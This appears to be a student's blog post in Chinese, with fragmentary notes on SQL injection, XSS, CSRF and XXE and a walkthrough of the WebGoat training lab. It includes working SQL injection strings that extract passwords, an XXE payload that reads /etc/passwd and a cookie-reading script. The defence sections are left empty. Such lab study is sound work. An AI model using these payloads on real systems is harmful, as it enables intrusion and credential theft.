标签:网站 eset ase news org readme.md token alt 知识
(1)SQL注入攻击原理,如何防御
blind SQL injections
防御方法:
设置输入字符检测与限定
(2)XSS攻击的原理,如何防御
与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制,获取用户的一些信息。
防御方法:
(3)CSRF攻击原理,如何防御
CSRF攻击:让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼
防御方法:
java -version
https://github.com/WebGoat/WebGoat/releases
java -jar webgoat-server-<<version>>.jar
(端口默认为8080)127.0.0.1:8080/WebGoat
打开WebGoat自此Webgoat安装成功
一顿学习后...
基本注入
union注入
盲注
通过union你能跨表执行 SQL 查询。 基本上你可以污染(注入)查询使它返回另一个表的记录。
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
这个查询会联结并返回 news 表和 members 表的所有记录。
‘; select * from user_system_data--
; select password from user_system_data where user_name=‘dave‘
实验成功(喜极而泣QAQ)
time based SQL injections
实验过程:
另,在尝试过程中,有提示说输入长度不能大于30
tom‘ and (substring((select 密码 from 数据表 where 用户名=‘tom‘),1,1)=‘a‘;--
等我把webgoat换成开发板的时候再进行尝试......
一顿学习后......
XML经常被用作于程序的配置文件和数据的存储文件
parameter entities
做这道题的方法应该是,构建一个读取/etc/passwd文件的XML,内容为:
<?xml version=‘1.0‘?>
<!DOCTYPE any[<!ENTITY reborn SYSTEM "file:///etc/passwd">]>
<comment>
<text>&reborn;</text>
</comment>
这样&reborn取值后最终会返回显示在评论中
然而因为我并不能修改这些,所以我尝试在输入框里输入
</text></comment>
<?xml version="1.0"?><comment>
<!DOCTYPE any[<!ENTITY reborn SYSTEM "file:///etc/passwd">]>
</comment>
<text>&reborn;
进行修改,但看结果可以推断这个XML语法并不通过......
说是XML的描述只能放在文件开头,我这样写是无效的
好像可以了
在输入框里再试一次:
</text></comment>
<comment>
<!DOCTYPE any[<!ENTITY reborn SYSTEM "file:///etc/passwd">]>
</comment>
<text>&reborn;
header.claims.signature
题目要求换个用户,重新签名后输入,但问题是,,私钥怎么获得呢...,这个查询的又是哪个数据表...
要求再开一个跟当前网页一样网址的标签,在两个标签下都输入javascript:alert(document.cookie);
语句看两者的cookie有什么相同点
可以发现它们的JSESSIONID都是一样的
要求找到可以使用XSS攻击的输入框
尝试成功
什么是serialization
deseralization是前者的反面
CSRF:当一个恶意网站引起一个用户的浏览器在一个信任的站点执行了一个有害的行为时,CSRF发生了。
与XSS相反,XSS利用了一个用户对一个特殊站点的信任,而CSRF利用一个站点对一个用户的信任。
标签:网站 eset ase news org readme.md token alt 知识
原文地址:https://www.cnblogs.com/protectmonarch/p/9124238.html